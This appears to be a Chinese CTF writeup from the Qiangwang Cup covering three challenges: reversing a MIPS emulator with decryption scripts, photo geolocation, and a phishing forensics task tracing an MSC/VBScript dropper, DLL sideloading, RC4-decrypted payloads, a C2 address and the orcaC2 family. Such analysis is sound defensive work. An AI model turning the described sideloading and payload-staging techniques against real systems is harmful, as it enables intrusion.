mips文件没什么加密逻辑,有一个比较判断,猜测加密过程在模拟器emu文件中,翻了很久,发现有一处有花指令,先修一下
发现有循环次数21的for,mips里面flag的长度就是21,所以这里很可能是对flag的一个加密
table函数里面类似rc4生成了一个s盒,
汇编窗口能看到table函数下面还有一段,修复一下
修复好能看到还有一个循环次数为21的操作,那这里应该就是加密部分
接着就是长度为21的异或循环,交换v5的(7,11)和(12,16)的值
下面就是比较判断,这里有一段密文,mips还有一个密文,后面测试能发现这里的密文是正确的
写脚本来爆破,异或的key不知道,也得爆破一下
#include <stdio.h>
int main()
{
unsigned int v1; // edx
__int64 v2; // rax
__int64 result; // rax
__int64 v4[2]; // [rsp+0h] [rbp-198h] BYREF
__int64 v5; // [rsp+10h] [rbp-188h]
unsigned __int8 v6; // [rsp+1Ch] [rbp-17Ch]
unsigned __int8 v7; // [rsp+1Dh] [rbp-17Bh]
unsigned __int8 v8; // [rsp+1Eh] [rbp-17Ah]
unsigned __int8 v9; // [rsp+1Fh] [rbp-179h]
int i; // [rsp+20h] [rbp-178h]
int jj; // [rsp+24h] [rbp-174h]
unsigned int ii; // [rsp+28h] [rbp-170h]
int v13; // [rsp+2Ch] [rbp-16Ch]
int v14; // [rsp+30h] [rbp-168h]
int j; // [rsp+34h] [rbp-164h]
int v16; // [rsp+38h] [rbp-160h]
int v17; // [rsp+3Ch] [rbp-15Ch]
int v18; // [rsp+40h] [rbp-158h]
int v19; // [rsp+44h] [rbp-154h]
const char *key; // [rsp+48h] [rbp-150h]
int v21; // [rsp+50h] [rbp-148h]
int v22; // [rsp+58h] [rbp-140h]
int v23; // [rsp+60h] [rbp-138h]
int v24; // [rsp+68h] [rbp-130h]
int v25; // [rsp+70h] [rbp-128h]
int v26; // [rsp+78h] [rbp-120h]
int s[256]; // [rsp+88h] [rbp-110h] BYREF
int v28; // [rsp+188h] [rbp-10h]
unsigned __int64 v29; // [rsp+190h] [rbp-8h]
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0;
v28 = 0;
for (i = 0; i <= 255; ++i)
*(s + i) = i;
v16 = 0;
jj = 0;
v17 = 0;
ii = 0;
key = "6105t3";
do
{
v16 = *(s + ii);
v18 = 2 * (ii / 6 - (((2863311531 * ii) >> 32) & 0xFFFFFFFC));
v17 = (key++)[v18];
jj += v16 + v17;
v1 = ii++;
*(s + (v1 % 256)) = *(s + (jj % 256));
v2 = jj;
*(s + (jj % 256)) = v16;
} while (ii != 256);
for (int i = 0; i < 256; i++)
{
printf("%d,", s[i]);
}
return 0;
}
打印出s盒,写爆破脚本
def decode(s, data, length, number):
x = 0
y = 0
key1 = [0xDE, 0x0AD, 0x0BE, 0x0EF]
data1 = ''
k = 0
table = "".join([chr(i) for i in range(32, 150)])
while k < length:
x = (x + 1) % 256
y = (y + s[x]) % 256
tmp = s[x]
s[x] = s[y]
s[y] = tmp
for m in range(len(table)):
tmp = ord(table[m])
tmp = ((tmp << 7) & 0xff) | (tmp >> 1)
v3 = (((tmp << 6) & 0xff) ^ 0xC0 | (tmp >> 2) ^ 0x3B) ^ 0xBE
tmp3 = (((v3 << 5) & 0xff) | (v3 >> 3)) ^ 0xAD
tmp2 = (((tmp3 << 4) & 0xff | (tmp3 >> 4)) ^ 0xDE)
tmp4 = (tmp2 >> 5) | ((tmp2 << 3) & 0xff)
if (s[(s[x] + s[y]) & 0xff] ^ key1[k & 3] ^ (tmp4 & 0xff)) ^ number == data[k]:
data1 += table[m]
k += 1
break
if data1[-1] == '}' or (data[0] == 'f' and data[0] == 'l' and data[0] == 'a' and data[0] == 'g'):
print(data1)
return data1
for i in range(200):
cipter = [196, # 已经换过的密文
238,
60,
187,
231,
253,
103,
157,
248,
151,
104,
29,
223,
127,
199,
128,
11,
249,
75,
160,
70,
145]
ss = [54, 104, 50, 68, 18, 97, 111, 223, 186, 233, 152, 40, 61, 168, 230, 30, 77, 242, 177, 126, 194, 106, 150, 140,
55, 25, 20, 66, 162, 17, 229, 91, 157, 35, 3, 131, 248, 216, 9, 138, 60, 125, 26, 70, 73, 220, 118, 99, 62, 4,
154, 12, 67, 75, 114, 95, 83, 33, 116, 102, 79, 167, 246, 123, 148, 163, 71, 143, 244, 82, 42, 137, 48, 51,
39, 44, 245, 117, 23, 121, 94, 127, 156, 203, 85, 187, 96, 56, 184, 210, 212, 139, 191, 31, 65, 69, 0, 130,
105, 64, 225, 159, 226, 211, 74, 28, 113, 98, 24, 36, 151, 132, 10, 142, 63, 15, 1, 134, 14, 103, 201, 153,
136, 176, 110, 84, 146, 239, 155, 213, 165, 11, 221, 189, 174, 204, 200, 58, 101, 86, 224, 241, 6, 27, 250,
188, 196, 145, 193, 46, 19, 240, 88, 238, 172, 236, 166, 38, 57, 181, 175, 195, 16, 90, 13, 93, 41, 21, 107,
80, 178, 254, 170, 144, 169, 81, 208, 182, 198, 52, 252, 160, 179, 53, 234, 7, 164, 34, 128, 109, 129, 87,
135, 37, 199, 76, 214, 206, 119, 215, 173, 120, 122, 133, 161, 243, 232, 92, 115, 72, 218, 49, 78, 45, 147,
22, 2, 112, 29, 251, 205, 227, 247, 100, 249, 197, 8, 158, 149, 43, 228, 32, 209, 253, 124, 47, 190, 185, 219,
222, 231, 217, 59, 235, 255, 183, 202, 180, 5, 192, 171, 207, 237, 108, 141, 89]
decode(ss, cipter, 22, i)
拿到flag
Misc:
Master of OSINT
图一: 先直接识图一波定位应该是青海湖附近
然后沿着这条公路一直看,找到上图的小红房子即可
开着车就是找
丁真到这个位置左右
图二: 主要看到百安居字样
然后搜索到这,确定就是这块,上海百安居浦东商务大厦附近
然后直接取经纬度即可
图三:
主要以下图中红框的塔台为标志展开寻找
成都双流机场附近
在下图大概范围中取经纬度即可
图五:
识图之后可以丁真到重庆市九龙坡区谢家湾附近
从下框中取经纬度即可
图六: 以图下两处标志作为寻址标准,识图一下
即可找到下图大概位置定位经纬度
图七: 看得出是所属江边的两岸
然后定位到下图附近取经纬度
图八: 依图定位到这个位置
图九: 由图
定位到这个位置,武汉天兴洲长江大桥-道路 武汉市
图十: 先过一边识图,放大发现中铁三局携手促进浙江经济发展,然后定位到浙江省杭州市
然后定位
Master of DFIR – Phishing
总共13个问题,第一个是攻击者的邮箱,将得到的eml文件中的邮箱取md5即可
第二个问题是攻击者所投放文件的密码,将eml文件中的第二段base64密文解开即可看到密码
第三问是攻击者所使用的攻击载荷文件windows默认的打开方式的全称,将eml文件中正文部分的内容解base64之后得到一个压缩包文件,且压缩包文件的密码即为上一问的结果 2024qwbs8
解开压缩包之后看到文件后缀为msc,直接搜索一下全称即可知道本题的答案为Microsoft Management Console
第四问是攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行,打开压缩包中的文件后可以得知投放样本的初始执行语句在第97行
第五问是经过初始执行后,攻击者所加载的第二部分载荷所使用的语言是什么,看到这一段,提取出来之后有很明显的VBS脚本特征
再用url解解码一下看看,所以本问的答案为VBScript
第六问是攻击者所进行的第二部分载荷其将白EXE存在了什么地方,将vbs脚本解混淆之后即可知道,这部分之前在打H&NCTF的有一道re题就是解这个混淆,将关键字段拿出来Dim 定义一个变量赋值之后用MsgBox 函数显示出来即可知道为/MMC_ConsoleFile/BinaryStorage/Binary[@Name=’CONSOLE_MENU’],然后取MD5即可
第七问是攻击者使用的这个白EXE加载黑DLL的手法所对应的MITRE ATT&CK ID是什么,没搜到,问一下AI就好,答案为T1574
第八问是攻击者所使用的黑DLL劫持了原始DLL的哪个函数,将文件中的二进制文件拿出来分析即可
框出来的三个二进制文件,倒数第一个就是题目所说的黑dll,第二个是感觉像释放出来的白exe
先分析最后一个二进制文件,黑dll,逛了一圈函数,发现这个函数有动态解密的嫌疑,最后提交该函数名正确,本问答案为curl_easy_init,且加密的字节数为dwSize为136192
第九问攻击者所使用的黑DLL解密下一阶段载荷所使用的算法是什么,跟进上一问中动态进行解密的函数sub_10001240即可发现疑似RC4加密,故本问的答案为RC4
第十问是攻击者所使用的下一阶段载荷的回连C2是什么,此处将白exe运行起来之后直接修改eip去走那个黑dll劫持函数的逻辑,用于解密RC4保护的加密内容,走完所有的解密过程之后原内容处有很明显的PE结构文件特征了
此处直接使用idapython给这部分dump下来,总的字节数上面提到过
import idaapi
start_address = 0x5BE280B0
size = 136192
data = idaapi.get_bytes(start_address, size)
if data is None:
print("none")
else:
# 保存到二进制文件
with open("output.bin", "wb") as f:
f.write(data)
print("ok")
得到dump下来的文件PE文件之后继续进行逆向分析,动态调试起来之后实现了回连C2的自解密结果如下,本题答案为192.168.57.119:6000
第十一问是攻击者所使用最终阶段载荷所使用的加密算法是什么,这题是蒙的AES加密,因为在刚刚dump下来的这个exe中只有网络行为的连接,并没有其他内容,本题答案是AES
第十二问是攻击者所使用最终阶段载荷所使用的密钥的MD5是什么,这就绕不开一直苦苦寻找的那段逻辑了,卡了很久在这儿,应该是前面分析落东西了,网络行为不可能能连接成功,那么我流量包里落东西没分析了那就是,我应该去找这段shellcode
追踪TCP流之后将该shellcode直接dump下来
那么现在shellcode有了,我缺一个主动调用这个shellcode的exe主体,直接搓一个主动调用一下该段shellcode
然后使用ida动调这个刚写的exe,跟到shellcode的逻辑之后,shift+f12直接看字符串就能看到key
那么该问题的答案既是pJB`-v)t^ZAsP$|r的MD5值
第十三问是攻击者使用了什么家族的C2,貌似找数据包的时候看到了它的UA,本题答案为orcaC2
最后得到flag
givemesecret
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):第八届强网杯 writeup by Mini-Venom